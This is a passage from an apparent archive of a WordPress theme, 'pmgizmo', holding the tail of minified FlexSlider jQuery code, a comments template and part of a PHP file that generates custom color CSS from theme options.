"float":"left",marginRight:"-100%",position:"relative"}),"init"===b&&(q?a.slides.css({opacity:0,display:"block",webkitTransition:"opacity "+c.animationSpeed/1E3+"s ease",zIndex:1}).eq(a.currentSlide).css({opacity:1,zIndex:2}):a.slides.eq(a.currentSlide).fadeIn(c.animationSpeed,c.easing)),c.smoothHeight&&f.smoothHeight();else{var g,p;"init"===b&&(a.viewport=d('<div class="'+e+'viewport"></div>').css({overflow:"hidden",position:"relative"}).appendTo(a).append(a.container),a.cloneCount=0,a.cloneOffset=
0,n&&(p=d.makeArray(a.slides).reverse(),a.slides=d(p),a.container.empty().append(a.slides)));c.animationLoop&&!h&&(a.cloneCount=2,a.cloneOffset=1,"init"!==b&&a.container.find(".clone").remove(),a.container.append(a.slides.first().clone().addClass("clone")).prepend(a.slides.last().clone().addClass("clone")));a.newSlides=d(c.selector,a);g=n?a.count-1-a.currentSlide+a.cloneOffset:a.currentSlide+a.cloneOffset;m&&!h?(a.container.height(200*(a.count+a.cloneCount)+"%").css("position","absolute").width("100%"),
setTimeout(function(){a.newSlides.css({display:"block"});a.doMath();a.viewport.height(a.h);a.setProps(g*a.h,"init")},"init"===b?100:0)):(a.container.width(200*(a.count+a.cloneCount)+"%"),a.setProps(g*a.computedW,"init"),setTimeout(function(){a.doMath();a.newSlides.css({width:a.computedW,"float":"left",display:"block"});c.smoothHeight&&f.smoothHeight()},"init"===b?100:0))}h||a.slides.removeClass(e+"active-slide").eq(a.currentSlide).addClass(e+"active-slide")};a.doMath=function(){var b=a.slides.first(),
d=c.itemMargin,e=c.minItems,f=c.maxItems;a.w=a.width();a.h=b.height();a.boxPadding=b.outerWidth()-b.width();h?(a.itemT=c.itemWidth+d,a.minW=e?e*a.itemT:a.w,a.maxW=f?f*a.itemT:a.w,a.itemW=a.minW>a.w?(a.w-d*e)/e:a.maxW<a.w?(a.w-d*f)/f:c.itemWidth>a.w?a.w:c.itemWidth,a.visible=Math.floor(a.w/(a.itemW+d)),a.move=0<c.move&&c.move<a.visible?c.move:a.visible,a.pagingCount=Math.ceil((a.count-a.visible)/a.move+1),a.last=a.pagingCount-1,a.limit=1===a.pagingCount?0:c.itemWidth>a.w?(a.itemW+2*d)*a.count-a.w-
d:(a.itemW+d)*a.count-a.w-d):(a.itemW=a.w,a.pagingCount=a.count,a.last=a.count-1);a.computedW=a.itemW-a.boxPadding};a.update=function(b,d){a.doMath();h||(b<a.currentSlide?a.currentSlide+=1:b<=a.currentSlide&&0!==b&&(a.currentSlide-=1),a.animatingTo=a.currentSlide);if(c.controlNav&&!a.manualControls)if("add"===d&&!h||a.pagingCount>a.controlNav.length)f.controlNav.update("add");else if("remove"===d&&!h||a.pagingCount<a.controlNav.length)h&&a.currentSlide>a.last&&(a.currentSlide-=1,a.animatingTo-=1),
f.controlNav.update("remove",a.last);c.directionNav&&f.directionNav.update()};a.addSlide=function(b,e){var f=d(b);a.count+=1;a.last=a.count-1;m&&n?void 0!==e?a.slides.eq(a.count-e).after(f):a.container.prepend(f):void 0!==e?a.slides.eq(e).before(f):a.container.append(f);a.update(e,"add");a.slides=d(c.selector+":not(.clone)",a);a.setup();c.added(a)};a.removeSlide=function(b){var e=isNaN(b)?a.slides.index(d(b)):b;a.count-=1;a.last=a.count-1;isNaN(b)?d(b,a.slides).remove():m&&n?a.slides.eq(a.last).remove():
a.slides.eq(b).remove();a.doMath();a.update(e,"remove");a.slides=d(c.selector+":not(.clone)",a);a.setup();c.removed(a)};f.init()};d.flexslider.defaults={namespace:"flex-",selector:".slides > li",animation:"fade",easing:"swing",direction:"horizontal",reverse:!1,animationLoop:!0,smoothHeight:!1,startAt:0,slideshow:!0,slideshowSpeed:7E3,animationSpeed:600,initDelay:0,randomize:!1,pauseOnAction:!0,pauseOnHover:!1,useCSS:!0,touch:!0,video:!1,controlNav:!0,directionNav:!0,prevText:"Previous",nextText:"Next",
keyboard:!0,multipleKeyboard:!1,mousewheel:!1,pausePlay:!1,pauseText:"Pause",playText:"Play",controlsContainer:"",manualControls:"",sync:"",asNavFor:"",itemWidth:0,itemMargin:0,minItems:0,maxItems:0,move:0,start:function(){},before:function(){},after:function(){},end:function(){},added:function(){},removed:function(){}};d.fn.flexslider=function(j){void 0===j&&(j={});if("object"===typeof j)return this.each(function(){var a=d(this),c=a.find(j.selector?j.selector:".slides > li");1===c.length?(c.fadeIn(400),
j.start&&j.start(a)):void 0==a.data("flexslider")&&new d.flexslider(this,j)});var l=d(this).data("flexslider");switch(j){case "play":l.play();break;case "pause":l.pause();break;case "next":l.flexAnimate(l.getTarget("next"),!0);break;case "prev":case "previous":l.flexAnimate(l.getTarget("prev"),!0);break;default:"number"===typeof j&&l.flexAnimate(j,!0)}}})(jQuery);pmgizmo/comments.php000064400000002665152223213640010575 0ustar00<?php 
/***
 * Comments Template
 *
 * This template displays the current comments of a post and the comment form
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
if ( post_password_required()) : ?>
	<p><?php _e('Enter password to view comments.', 'pmthemes'); ?></p>
<?php return; endif; ?>
<?php if ( have_comments() or comments_open() ) : ?>
	<div id="comments">
		<?php if ( have_comments() ) : ?>
			<h3 class="comments-title"><span><?php comments_number( '', __('One comment','pmthemes'), __('% comments','pmthemes') );?></span></h3>
			<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
			<div class="comment-pagination clearfix">
				<div class="alignleft"><?php previous_comments_link(); ?></div>
				<div class="alignright"><?php next_comments_link() ?></div>
			</div>
			<?php endif; ?>
			<ul class="commentlist">
				<?php wp_list_comments( array('callback' => 'pmthemes_list_comments')); ?>
			</ul>
			<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
			<div class="comment-pagination clearfix">
				<div class="alignleft"><?php previous_comments_link() ?></div>
				<div class="alignright"><?php next_comments_link() ?></div>
			</div>
			<?php endif; ?>
		<?php endif; ?>
		<?php if ( comments_open() ) : ?>
			<?php comment_form(array('comment_notes_after' => '')); ?>
		<?php endif; ?>
	</div>
<?php endif; ?>pmgizmo/inc/custom-colors.php000064400000107126152223213640012330 0ustar00<?php
/***
 * Custom Color Options
 *
 * Get custom colors from theme options and enqueue CSS color settings
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Display Custom Sytles
add_action( 'wp_enqueue_scripts', 'pmthemes_pre_made_styles', 10 );
function pmthemes_pre_made_styles() {
    $theme_options = pmthemes_theme_options();
    $styles = pmthemes_theme_style_keys();
    foreach ($styles as $style => $colors) {
        if ( isset($theme_options['theme_styles']) and $theme_options['theme_styles'] == $style ) {
            wp_enqueue_style('pmthemes-custom', PMTHEMES_URI . '/css/styles/'. $style .'.css',
                array(), PMTHEMES_VERSION);
            break;
        }
        if(empty($theme_options['theme_styles'])) {
            wp_enqueue_style( 'pmthemes-custom', PMTHEMES_URI . '/css/colors.css',
                array(), PMTHEMES_VERSION  );
        }
    }
}
// Add Custom Colors
add_action( 'wp_enqueue_scripts', 'pmthemes_custom_colors');
function pmthemes_custom_colors() {
    // Get Theme Options from Database
    $theme_options = pmthemes_theme_options();
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Set Color CSS Variable
    $color_css = '';
    // Top Bar
    if (isset($theme_options['top_bar_top_border']) and $theme_options['top_bar_top_border'] <> $theme_def['top_bar_top_border']) :
        $color_css .= '
            #topnavbar {
                border-top: 1px solid ' . $theme_options['top_bar_bottom_border'] . ';
            }';
    endif;
    if (isset($theme_options['top_bar_bottom_border']) and $theme_options['top_bar_bottom_border'] <> $theme_def['top_bar_bottom_border']) :
        $color_css .= '
            #topnavbar {
                border-bottom: 1px solid ' . $theme_options['top_bar_bottom_border'] . ';
            }';
    endif;
    if (isset($theme_options['top_bar_bg']) and $theme_options['top_bar_bg'] <> $theme_def['top_bar_bg']) :
        $color_css .= '
            #topnavbar {
                background: ' . $theme_options['top_bar_bg'] . ';
            }';
    endif;
    if (isset($theme_options['top_bar_font_color']) and $theme_options['top_bar_font_color'] <> $theme_def['gen_nav_font_color']) :
        $color_css .= '
            #topnavbar p, #topnavbar #header-social-icons .social-icons-menu li a:before {
                color: ' . $theme_options['top_bar_font_color'] . ';
            }';
    endif;
    // Top Nav
    if (isset($theme_options['topnav_color']) and $theme_options['topnav_color'] <> $theme_def['topnav_color']) :
        $color_css .= '
            #topnav, #topnav-icon, #topheader {
                background: ' . $theme_options['topnav_color'] . ';
            }';
    endif;
    if (isset($theme_options['topnav_current']) and $theme_options['topnav_current'] <> $theme_def['topnav_current']) :
        $color_css .= '
            #topnav-menu .current_page_item, #topnav-menu .current-menu-item {
                background: ' . $theme_options['topnav_current'] . ';
            }';
    endif;
    if (isset($theme_options['topnav_hover']) and $theme_options['topnav_hover'] <> $theme_def['topnav_hover']) :
        $color_css .= '
            #topnav-menu a:hover, #topnav-menu li a:hover {
                background: ' . $theme_options['topnav_hover'] . ';
            }';
    endif;
    if (isset($theme_options['topnav_dropdown']) and $theme_options['topnav_dropdown'] <> $theme_def['topnav_dropdown']) :
        $color_css .= '
            #topnav-menu .sub-menu, #topnav-menu .children {
                background-color: ' . $theme_options['topnav_dropdown'] . ';
            }';
    endif;
    if (isset($theme_options['topnav_drophov']) and $theme_options['topnav_drophov'] <> $theme_def['topnav_drophov']) :
        $color_css .= '
            ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
                background-color: ' . $theme_options['topnav_drophov'] . ';
            }';
    endif;
    if (isset($theme_options['topnav_dropbor']) and $theme_options['topnav_dropbor'] <> $theme_def['topnav_dropbor']) :
        $color_css .= '
            ul#topnav-menu ul a, #topnav-menu ul ul a {
                border-top: 1px solid' . $theme_options['topnav_dropbor'] . ';
            }
            #topnav-menu .sub-menu, #topnav-menu .children {
                border-color: ' . $theme_options['topnav_dropbor'] . ';
            }';
    endif;
    if (isset($theme_options['topnav_text_color']) and $theme_options['topnav_text_color'] <> $theme_def['gen_nav_font_color']) :
        $color_css .= '
            #topnav-menu a:link, #topnav-menu a:visited, #header-social-icons .social-icons-menu li a:before {
                color: ' . $theme_options['topnav_text_color'] . ';
            @media only screen and (max-width:60em) {
                .menu-toggle, .menu-toggle:active, .menu-toggle:focus, .menu-toggle:hover {
                color: ' . $theme_options['topnav_text_color'] . ';
                }}
            }';
    endif;
    // Main Navigation
    if (isset($theme_options['navi_text_color']) and $theme_options['navi_text_color'] <> $theme_def['gen_nav_font_color']) :
        $color_css .= '
            .nav-menu li a, 
            .nav-menu .current_page_ancestor > a, 
            .nav-menu .current-menu-ancestor > a,
            .search-icon:before,
            .nav-menu li.menu-item-has-children > a:after,
            .nav-menu .submenu li.menu-item-has-children > a:after,
            #header #navi-wrap .nav-menu li a,
            #header .search-icon:before,
            #header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
            #header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
                color: ' . $theme_options['navi_text_color'] . ';
            }
            @media only screen and (max-width:60em) {
            .menu-toggle, .menu-toggle:active, .menu-toggle:focus, .menu-toggle:hover, #header .menu-toggle {
                color: ' . $theme_options['navi_text_color'] . ';
                }
            }';
    endif;
    if (isset($theme_options['navi_hover']) and $theme_options['navi_hover'] <> $theme_def['navi_hover']) :
        $color_css .= '
            .nav-menu li:hover > a, .nav-menu li a:hover, .nav-menu li:focus > a, .nav-menu li a:focus {
                background: ' . $theme_options['navi_hover'] . ';
            }';
    endif;
    if (isset($theme_options['navi_color']) and $theme_options['navi_color'] <> $theme_def['navi_color']) :
        $color_css .= '
            #navi-wrap, .natty #navi-wrap, .stickynav {
                background: ' . $theme_options['navi_color'] . ';
            }';
    endif;
    // Main Menu TOP Border Color
    if ( isset($theme_options['navi_top_bd_enb']) and $theme_options['navi_top_bd_enb'] == $theme_def['navi_top_bd_enb'] ) :
        if (isset($theme_options['navi_top_bd_clr']) and $theme_options['navi_top_bd_clr'] <> $theme_def['navi_top_bd_clr']) :
            $color_css .= '
            #navi-wrap, .natty #navi-wrap, .stickynav {
                border-top: ' . $theme_options['navi_top_bd_hei'] . 'px solid ' . $theme_options['navi_top_bd_clr'] . '; 
            }';
        endif;
    endif;
    // Main Menu Bottom Border Color
    if ( isset($theme_options['navi_bot_bd_enb']) and $theme_options['navi_bot_bd_enb'] == $theme_def['navi_bot_bd_enb'] ) :
        if (isset($theme_options['navi_bot_bd_clr']) and $theme_options['navi_bot_bd_clr'] <> $theme_def['navi_bot_bd_clr']) :
            $color_css .= '
            #navi-wrap, .natty #navi-wrap, .stickynav {
                border-bottom: ' . $theme_options['navi_bot_bd_hei'] . 'px solid ' . $theme_options['navi_bot_bd_clr'] . ';
            }';
        endif;
    endif;
    // Menu Item Border
    if ( isset($theme_options['navi_border_enable']) and $theme_options['navi_border_enable'] == true ) :
        if ( isset($theme_options['navi_border']) and $theme_options['navi_border'] <> $theme_def['navi_border'] ) :
            $color_css .= '
            .nav-menu li {
                border-left: 1px solid ' . $theme_options['navi_border'] . ';
                border-right: none;
            }
            .nav-menu li:last-child, .wide-header .nav-menu li:last-child {
                border-right: 1px solid ' . $theme_options['navi_border'] . ';
            }
            .wide-header .nav-menu li:first-child {
                border-left: 1px solid ' . $theme_options['navi_border'] . ';
            }';
        else:
            $color_css .= '
            .nav-menu li {
            border-right: 1px solid rgba(255, 255, 255, 0.2);
                border-left: 1px solid rgba(0, 0, 0, 0.2);
            }
            .nav-menu li:first-child {
            border-left: 1px solid rgba(255, 255, 255, 0.2);
            }
            .nav-menu li:last-child {
            border-right: 1px solid rgba(255, 255, 255, 0.2);
            }
            .wide-header .nav-menu li:first-child {
                border-left: 1px solid rgba(157, 157, 157, 0.35);
            }
            .wide-header .nav-menu li:last-child {
                border-right: 1px solid rgba(157, 157, 157, 0.35);
            }';
        endif;
    endif;
    // Menu Dropdown Border
    if (isset($theme_options['navi_dropdown']) and $theme_options['navi_dropdown'] <> $theme_def['navi_dropdown']) :
        $color_css .= '
            .nav-menu .sub-menu, .nav-menu .children {
                background: ' . $theme_options['navi_dropdown'] . ';
            }';
    endif;
    if (isset($theme_options['navi_drophov']) and $theme_options['navi_drophov'] <> $theme_def['navi_drophov']) :
        $color_css .= '
            ul.nav-menu ul a:hover, .nav-menu ul ul a:hover, ul.nav-menu ul a:focus, .nav-menu ul ul a:focus {
                background-color: ' . $theme_options['navi_drophov'] . ';
            }';
    endif;
    if ( isset($theme_options['navi_dropdown_noborder']) and $theme_options['navi_dropdown_noborder'] == $theme_def['navi_dropdown_noborder'] ) :
        if (isset($theme_options['navi_dropdown_border']) and $theme_options['navi_dropdown_border'] <> $theme_def['navi_dropdown_border']) :
        $color_css .= '
            .nav-menu .sub-menu, .nav-menu .children {
                border: 2px solid ' . $theme_options['navi_dropdown_border'] . ';
            }
            .nav-menu .sub-menu ul, .nav-menu .children ul {
                border-left: 1px solid ' . $theme_options['navi_dropdown_border'] . ';
            }
            ul.nav-menu ul a, .nav-menu ul ul a {
                border-top: 1px solid ' . $theme_options['navi_dropdown_border'] . ';
            }
            .toggled-on li, .toggled-on .children {
                border-top: 1px solid ' . $theme_options['navi_dropdown_border'] . ';
                border-left: 1px solid ' . $theme_options['navi_dropdown_border'] . ';
            }';
        endif;
    else:
        $color_css .= '
            .nav-menu .sub-menu, .nav-menu .children {
                border: 0;
            }
            .nav-menu .sub-menu ul, .nav-menu .children ul {
                border-left: 0;
            }
            ul.nav-menu ul a, .nav-menu ul ul a {
                border-top: 1px solid rgba(255, 255, 255, 0.2);
            }
            .toggled-on li, .toggled-on .children {
                border-top: 1px solid rgba(255, 255, 255, 0.2);
                border-left: 0;
            }';
    endif;
    // Header
    if ( isset($theme_options['header_line_enable']) and $theme_options['header_line_enable'] == true ) :
        if (isset($theme_options['headline_top_border']) and $theme_options['headline_top_border'] <> $theme_def['headline_top_border']) :
            $color_css .= '.header-line {border-top: ' . $theme_options['headline_top_bor_height'] . 'px solid ' . $theme_options['headline_top_border'] . ';}';
        endif;
        if (isset($theme_options['headline_bottom_border']) and $theme_options['headline_bottom_border'] <> $theme_def['headline_bottom_border']) :
            $color_css .= '.header-line {border-bottom: 1px solid ' . $theme_options['headline_bottom_border'] . ';}';
        endif;
    endif;
    // Header Gradient
    if (isset($theme_options['header_gradient_enable']) and $theme_options['header_gradient_enable'] == true ) :
        $hgr_dir = esc_attr($theme_options['header_gr_dir']);
        $color_css .= '
            #header-wrap, .natty #header-wrap {
                background: linear-gradient('. $hgr_dir .', '. $theme_options['header_backgr'] .', '. $theme_options['header_grad_ient'] .');
                background: -webkit-linear-gradient('. $hgr_dir .', '. $theme_options['header_backgr'] .', '. $theme_options['header_grad_ient'] .');
                background: -o-linear-gradient('. $hgr_dir .', '. $theme_options['header_backgr'] .', '. $theme_options['header_grad_ient'] .');
                background: -moz-linear-gradient('. $hgr_dir .', '. $theme_options['header_backgr'] .', '. $theme_options['header_grad_ient'] .');
            }';
    else:
        if ( isset($theme_options['header_backgr']) and $theme_options['header_backgr'] <> $theme_def['header_backgr'] ) :
            $color_css .= '
            #header-wrap, .natty #header-wrap {
                background: '. $theme_options['header_backgr'] .';
            }';
        endif;
    endif;
    // Site Title
    if ( isset($theme_options['site_title_color']) and $theme_options['site_title_color'] <> $theme_def['site_title_color'] ) :
        $color_css .= '
            #logo .site-title, #logo a:hover .site-title {
                color: '. $theme_options['site_title_color'] .';
            }';
    endif;
    if ( isset($theme_options['site_title_shadis']) and $theme_options['site_title_shadis'] == true) :
        $color_css .= '
            #logo .site-title, #logo a:hover .site-title {
                text-shadow: 1px 1px 0 '. $theme_options['site_title_shadow'] .';
            }';
    else:
        $color_css .= '
            #logo .site-title, #logo a:hover .site-title {
                text-shadow: 0 0;
            }';
    endif;
    if ( isset($theme_options['site_tagline_color']) and $theme_options['site_tagline_color'] <> $theme_def['site_tagline_color'] ) :
        $color_css .= '
            #logo .site-description {
                color: '. $theme_options['site_tagline_color'] .';
            }';
    endif;
    // General
	if ( isset($theme_options['default_text_color']) and $theme_options['default_text_color'] <> $theme_def['default_text_color'] ) :
		$color_css .= '
            body, input, textarea {
                color: '. $theme_options['default_text_color'] .';
            }';
	endif;
	if ( isset($theme_options['title_color']) and $theme_options['title_color'] <> $theme_def['title_color'] ) :
		$color_css .= '
            .page-title, .post-title, .post-title a:link, .post-title a:visited, .archive-title span, .archive-title {
                color: '. $theme_options['title_color'] .';
            }
            .post-title a:hover, .post-title a:active {
                color: '. $theme_options['title_color'] .';
            }';
	endif;
	if ( isset($theme_options['link_color']) and $theme_options['link_color'] <> $theme_def['link_color'] ) :
		$color_css .= '
            a, a:link, a:visited, .comment a:link, .comment a:visited,.post-pagination a:link,
            .post-pagination a:visited, #image-nav .nav-previous a, #image-nav .nav-next a,
            .postmeta a:link, .postmeta a:visited {
                color: '. $theme_options['link_color'] .';
            }
            .post-pagination .current {
                background-color: '. $theme_options['link_color'] .';
            }';
	endif;
    if ( isset($theme_options['body_borders_color']) and $theme_options['body_borders_color'] <> $theme_def['body_borders_color'] ) :
        $color_css .= '
            .wide-header #content-wrap {
                border: 1px solid '. $theme_options['body_borders_color'] .';
            }';
    endif;
    // Scroll to Top Color
    if ( isset($theme_options['sctop_bg_color']) and $theme_options['sctop_bg_color'] <> $theme_def['sctop_bg_color'] ) :
        $color_css .= '
            .scrollToTop {
                background: '. $theme_options['sctop_bg_color'] .';
                opacity: 0.85;
            }';
    endif;
    if ( isset($theme_options['sctop_brdr_color']) and $theme_options['sctop_brdr_color'] <> $theme_def['sctop_brdr_color'] ) :
        $color_css .= '
            .scrollToTop {
                border: 3px solid '. $theme_options['sctop_brdr_color'] .';
                opacity: 0.9;
            }';
    endif;
    if ( isset($theme_options['sctop_arrow_color']) and $theme_options['sctop_arrow_color'] <> $theme_def['sctop_arrow_color'] ) :
        $color_css .= '
            .scrollToTop:before {
                color: '. $theme_options['sctop_arrow_color'] .';
            }';
    endif;
    if ( isset($theme_options['sctop_hover_color']) and $theme_options['sctop_hover_color'] <> $theme_def['sctop_hover_color'] ) :
        $color_css .= '
            .scrollToTop:hover {
                background: '. $theme_options['sctop_hover_color'] .';
            }';
    endif;
    // Comment Button Color
    if ( isset($theme_options['cmbtn_bg_color']) and $theme_options['cmbtn_bg_color'] <> $theme_def['cmbtn_bg_color'] ) :
        $color_css .= '
            #commentform #submit {
                background: '. $theme_options['cmbtn_bg_color'] .';
            }';
    endif;
    if ( isset($theme_options['cmbtn_text_color']) and $theme_options['cmbtn_text_color'] <> $theme_def['cmbtn_text_color'] ) :
        $color_css .= '
            #commentform #submit {
                color: '. $theme_options['cmbtn_text_color'] .';
            }';
    endif;
    if ( isset($theme_options['cmbtn_btn_hover']) and $theme_options['cmbtn_btn_hover'] <> $theme_def['cmbtn_btn_hover'] ) :
        $color_css .= '
            #commentform #submit:hover {
                background: '. $theme_options['cmbtn_btn_hover'] .';
            }';
    endif;
    // Front Page Colors
    // Slider Caption Title Color
    if ( isset($theme_options['sldr_title_clr']) and $theme_options['sldr_title_clr'] <> $theme_def['sldr_title_clr'] ) :
        $color_css .= '
            #frontpage-slider .pmsslide .slide-entry .slide-title a:link, #frontpage-slider .pmsslide .slide-entry .slide-title a:visited{
                color: '. $theme_options['sldr_title_clr'].';
            }';
    endif;
    // Slider Caption Text Color
    if ( isset($theme_options['sldr_text_clr']) and $theme_options['sldr_text_clr'] <> $theme_def['sldr_text_clr'] ) :
        $color_css .= '
            #frontpage-slider .pmsslide .slide-entry, #frontpage-slider .pmsslide .slide-entry .slide-more-link, #frontpage-slider .pmsslide .slide-entry .slide-more-link:link{
                color: '. $theme_options['sldr_text_clr'].';
            }';
    endif;
    // Slider Caption Background Color
    if ( isset($theme_options['sldr_bg_clr']) and $theme_options['sldr_bg_clr'] <> $theme_def['sldr_bg_clr'] ) :
        $color_css .= '
            #frontpage-slider .pmsslide .slide-entry{
                background: '. $theme_options['sldr_bg_clr'].';
                opacity: 0.75;
            }';
    endif;
    // Slider Arrow Colors
    if ( isset($theme_options['sldr_arrow_clr']) and $theme_options['sldr_arrow_clr'] <> $theme_def['sldr_arrow_clr'] ) :
        $color_css .= '
            .frontpage-slider-controls .pmsflex-direction-nav a:before{
                color: '. $theme_options['sldr_arrow_clr'].';
            }';
    endif;
    // Slider Arrow Background Color
    if ( isset($theme_options['sldr_arrow_bg_clr']) and $theme_options['sldr_arrow_bg_clr'] <> $theme_def['sldr_arrow_bg_clr'] ) :
        $color_css .= '
            .frontpage-slider-controls .pmsflex-direction-nav a {
                background: '. $theme_options['sldr_arrow_bg_clr'].';
                opacity: 0.75;
            }';
    endif;
    // Slider Border Color
    if ( isset($theme_options['sldr_border_clr']) and $theme_options['sldr_border_clr'] <> $theme_def['sldr_border_clr'] ) :
        $color_css .= '
            #frontpage-slider {
                border: 1px solid '. $theme_options['sldr_border_clr'].';
            }';
    endif;
    if ( isset($theme_options['frontbar_font_clr']) and $theme_options['frontbar_font_clr'] <> $theme_def['frontbar_font_clr'] ) :
        $color_css .= '
            #frontpage-magazine-widgets .widget .widgettitle {
                color: '. $theme_options['frontbar_font_clr'].';
            }';
    endif;
    // More Frontpage Widget Header Styling
    if ( isset($theme_options['frontpage_header_style']) and $theme_options['frontpage_header_style'] == true ) :
        if ( isset($theme_options['frontbar_bg_color']) and $theme_options['frontbar_bg_color'] <> $theme_def['frontbar_bg_color'] ) :
            $color_css .= '
                #frontpage-magazine-widgets .widget .widgettitle {
                    background: '. $theme_options['frontbar_bg_color'] .';
                    display: inline-block;
                    margin: 0;
                }
                ';
        endif;
        if ( isset($theme_options['front_header_bg_color']) and $theme_options['front_header_bg_color'] <> $theme_def['front_header_bg_color'] ) :
            $color_css .= '
                #frontpage-magazine-widgets .widget .widget-header {
                    background: '. $theme_options['front_header_bg_color'] .';
                    margin: -0.5em -0.5em 1em;
                }';
        endif;
        if ( isset($theme_options['front_header_top_border']) and $theme_options['front_header_top_border'] <> $theme_def['front_header_top_border'] ) :
            $color_css .= '
                #frontpage-magazine-widgets .widget .widget-header {
                    border-top: 2px solid '. $theme_options['front_header_top_border'] .';
                    margin: -0.5em -0.5em 1em;
                }';
        endif;
        if ( isset($theme_options['front_header_bot_border']) and $theme_options['front_header_bot_border'] <> $theme_def['front_header_bot_border'] ) :
            $color_css .= '
                #frontpage-magazine-widgets .widget .widget-header {
                    border-bottom: 2px solid '. $theme_options['front_header_bot_border'] .';
                    margin: -0.5em -0.5em 1em;
                }';
        endif;
    else:
        if ( isset($theme_options['frontbar_bg_color']) and $theme_options['frontbar_bg_color'] <> $theme_def['frontbar_bg_color'] ) :
            $color_css .= '
            #frontpage-magazine-widgets .widget .widgettitle {
                background: '. $theme_options['frontbar_bg_color'] .';
            }';
        endif;
    endif;
    // Sidebar Widgets
	if ( isset($theme_options['widget_title_color']) and $theme_options['widget_title_color'] <> $theme_def['widget_title_color'] ) :
		$color_css .= '
            #sidebar .widgettitle {
                color: '. $theme_options['widget_title_color'].';
            }';
	endif;
	// More Sidebar Widget Header Styling
    if ( isset($theme_options['widget_header_styling']) and $theme_options['widget_header_styling'] == true ) :
        if ( isset($theme_options['widget_header_color']) and $theme_options['widget_header_color'] <> $theme_def['widget_header_color'] ) :
            $color_css .= '
                #sidebar .widgettitle {
                    background: '. $theme_options['widget_header_color'] .';
                    display: inline-block;
                    margin: 0;
                }
                ';
        endif;
        if ( isset($theme_options['widget_header_bg_color']) and $theme_options['widget_header_bg_color'] <> $theme_def['widget_header_bg_color'] ) :
            $color_css .= '
                #sidebar .widget-header {
                    background: '. $theme_options['widget_header_bg_color'] .';
                    margin: -0.5em -0.5em 1em;
                }';
        endif;
        if ( isset($theme_options['widget_header_top_border']) and $theme_options['widget_header_top_border'] <> $theme_def['widget_header_top_border'] ) :
            $color_css .= '
                #sidebar .widget-header{
                    border-top: 2px solid '. $theme_options['widget_header_top_border'] .';
                    margin: -0.5em -0.5em 1em;
                }';
        endif;
        if ( isset($theme_options['widget_header_bot_border']) and $theme_options['widget_header_bot_border'] <> $theme_def['widget_header_bot_border'] ) :
            $color_css .= '
                #sidebar .widget-header {
                    border-bottom: 2px solid '. $theme_options['widget_header_bot_border'] .';
                    margin: -0.5em -0.5em 1em;
                }';
        endif;
    else:
        if ( isset($theme_options['widget_header_color']) and $theme_options['widget_header_color'] <> $theme_def['widget_header_color'] ) :
            $color_css .= '
            #sidebar .widgettitle {
                background: '. $theme_options['widget_header_color'] .';
            }';
        endif;
    endif;

    // Widget Link Color
	if ( isset($theme_options['widget_link_color']) and $theme_options['widget_link_color'] <> $theme_def['widget_link_color'] ) :
		$color_css .= '
            #sidebar .widget .rp-title a:link, #sidebar .widget .rp-title a:visited, .product_list_widget .product-title {
                color: '. $theme_options['widget_link_color'].';
            }';
	endif;
    // Widget Text Color
	if ( isset($theme_options['widget_text_color']) and $theme_options['widget_text_color'] <> $theme_def['widget_text_color'] ) :
		$color_css .= '
            .widget ul, #sidebar .widget .textwidget {
                color: '. $theme_options['widget_text_color'].';
            }';
	endif;
    // Widget Post Meta Color
    if ( isset($theme_options['widget_post_meta_clr']) and $theme_options['widget_post_meta_clr'] <> $theme_def['widget_post_meta_clr'] ) :
        $color_css .= '
            .widget-posts-entries .widget-postmeta,
            .widget-posts-entries .widget-postmeta a:link,
            .widget-posts-entries .widget-postmeta span:before {
                color: '. $theme_options['widget_post_meta_clr'].';
            }';
    endif;
    // Widget Background Color
	if ( isset($theme_options['widget_backgr_color']) and $theme_options['widget_backgr_color'] <> $theme_def['widget_backgr_color'] ) :
		$color_css .= '
            #sidebar .widget:not(.pmthemes_tabbed_content) {
                background: '. $theme_options['widget_backgr_color'].';
            }';
	endif;
    // Sidebar
    if (isset($theme_options['sidebar_gradient_enable']) and $theme_options['sidebar_gradient_enable'] == true) :
        $color_css .= '
            #sidebar, .rlayout #sidebar {
                background: '. $theme_options['sidebar_background'] .';
                background: linear-gradient('. $theme_options['sidebar_gr_dir'] .', '. $theme_options['sidebar_background'] .', '. $theme_options['sidebar_grad_ient'] .');
                background: -webkit-linear-gradient('. $theme_options['sidebar_gr_dir'] .', '. $theme_options['sidebar_background'] .', '. $theme_options['sidebar_grad_ient'] .');
                background: -o-linear-gradient('. $theme_options['sidebar_gr_dir'] .', '. $theme_options['sidebar_background'] .', '. $theme_options['sidebar_grad_ient'] .');
                background: -moz-linear-gradient('. $theme_options['sidebar_gr_dir'] .', '. $theme_options['sidebar_background'] .', '. $theme_options['sidebar_grad_ient'] .');
            }';
    else:
        if ( isset($theme_options['sidebar_background']) and $theme_options['sidebar_background'] <> $theme_def['sidebar_background'] ) :
            $color_css .= '
            #sidebar, .rlayout #sidebar {
                background: '. $theme_options['sidebar_background'].';
            }';
        endif;
    endif;

    // Sidebar Borders
    if (isset($theme_options['show_sidebar_border']) and $theme_options['show_sidebar_border'] == true) :
        if ( isset($theme_options['sidebar_border_color']) and $theme_options['sidebar_border_color'] <> '' ) :
            $color_css .= '
            #sidebar .widget {
                border: '. $theme_options['sidebar_border_thick'].'px solid '. $theme_options['sidebar_border_color'].';
            }';
        elseif ( isset($theme_options['sidebar_border_thick']) and $theme_options['sidebar_border_thick'] == '0' ) :
            $color_css .= '
            #sidebar .widget,
            #sidebar .sideleft .widget,
            #sidebar .sideright .widget {
                border: none;
            }
            #sidebar .widget {
                padding: 1em 0;
            }';
        endif;
    endif;

    // =========Tabbed Widget===========//
    // Tabbed Background Color
    if ( isset($theme_options['tabbed_bg_color']) and $theme_options['tabbed_bg_color'] <> $theme_def['tabbed_bg_color'] ) :
        $color_css .= '
                .widget.pmthemes_tabbed_content {
                    background: '. $theme_options['tabbed_bg_color'] .';
                }
                ';
    endif;
    // Tabbed Header Color
